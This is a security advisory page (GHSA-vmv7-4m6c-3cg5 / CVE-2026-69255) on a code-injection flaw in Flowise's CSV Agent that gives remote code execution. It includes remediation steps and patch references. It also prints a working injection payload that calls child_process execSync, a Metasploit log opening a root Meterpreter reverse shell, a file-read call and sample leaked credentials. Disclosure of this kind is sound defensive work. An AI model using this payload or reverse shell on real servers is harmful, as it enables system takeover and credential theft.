Advisory details:
github_osv / GHSA-vmv7-4m6c-3cg5
| Advisory ID | github_osv/GHSA-vmv7-4m6c-3cg5 |
| Aliases |
CVE-2026-69255
|
| Summary | Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified ## UPDATE 2026-05-20: Full RCE as root VERIFIED **This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.** ### Verified Exploit Chain 1. Python code injection via `base64_string = "${base64String}"` (CSVAgent.ts line 161) 2. Pyodide `js` bridge provides access to the host Node.js process 3. `process.mainModule.constructor._load('child_process')` loads child_process (bypasses ESM require restriction) 4. `.execSync('CMD')` executes arbitrary OS commands as **root** (PID 1 in container) ### Working RCE Payload ``` ";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");# ``` **Constraint:** No commas allowed in payload — `csvFile.split(',')` splits on all commas. ### Metasploit Session Proof ``` msf > use exploit/multi/http/flowise_csv_agent_rce msf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp msf > exploit [+] Authentication successful [+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4 [*] Sending stage (3090404 bytes) to 172.17.0.2 [*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422) meterpreter > getuid Server username: root meterpreter > sysinfo Computer : cbce3fb352b7 OS : Linux 6.8.0-111-generic Architecture : x64 Meterpreter : x64/linux meterpreter > shell # id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) # uname -a Linux cbce3fb352b7 6.8.0-111-generic x86_64 Linux ``` ### Additional Verified Impact **Credential Theft:** ``` FLOWISE_PASSWORD=admin123 DATABASE_PATH=/root/.flowise APIKEY_PATH=... ``` **Arbitrary File Read** via `process.binding('fs').readFileUtf8('/etc/hostname')` → `cbce3fb352b7` **Server DoS** — certain native binding calls (spawn_sync) crash the Node.js process entirely. ### CVSS v3.1: 9.9 CRITICAL `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` --- ## Original Report (below) ## Vulnerable Code **File:** `packages/components/nodes/agents/CSVAgent/CSVAgent.ts` **Lines 133-138** — Unsanitized string extraction from data URI via `file.split(',').pop().pop()` — no validation on content. **Lines 155-171** — Direct interpolation into executable Python code: `base64_string = "${base64String}"` is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context. `validatePythonCodeForDataFrame()` denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171. ## Remediation **Option 1 (Best):** Use `pyodide.globals.set('base64_string', base64String)` instead of string interpolation **Option 2:** Validate base64 before interpolation — reject if not matching `/^[A-Za-z0-9+/=]*$/` **Option 3:** Escape special characters (`"`, `\n`, `\r`, `\\`) before interpolation ## Related CVEs - CVE-2026-41264 (CSV Agent regex bypass) - CVE-2026-41265 (Airtable Agent sandbox bypass) - CVE-2026-46442 (NodeVM sandbox escape) **Disclosure:** Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 8.3 |
| Risk | 4.2 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv4 | 9.2 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-vmv7-4m6c-3cg5/GHSA-vmv7-4m6c-3cg5.json |
| generic_textual | CRITICAL |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/FlowiseAI/Flowise | ||
| 6499 | Other | https://github.com/FlowiseAI/Flowise/pull/6499 |
| f4e2794f6a576b94578f2fdafbf49c2fb304626c | Other | https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c |
| flowise%403.1.3 | Other | https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.3 |
| GHSA-vmv7-4m6c-3cg5 | Other | https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-vmv7-4m6c-3cg5 |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Attack Requirements (AT) | Privileges Required (PR) | User Interaction (UI) | Vulnerable System Impact Confidentiality (VC) | Vulnerable System Impact Integrity (VI) | Vulnerable System Impact Availability (VA) | Subsequent System Impact Confidentiality (SC) | Subsequent System Impact Integrity (SI) | Subsequent System Impact Availability (SA) |
|---|---|---|---|---|---|---|---|---|---|---|
network adjacent local physical |
low high |
none present |
none low high |
none passive active |
high low none |
high low none |
high low none |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-08-04T19:30:56Z/
Decision: Track*
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/69xxx/CVE-2026-69255.json
Source Advisory: vulnrichment/CVE-2026-69255
[{'Exploitation': 'poc'},
{'Automatable': 'no'},
{'Technical Impact': 'total'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]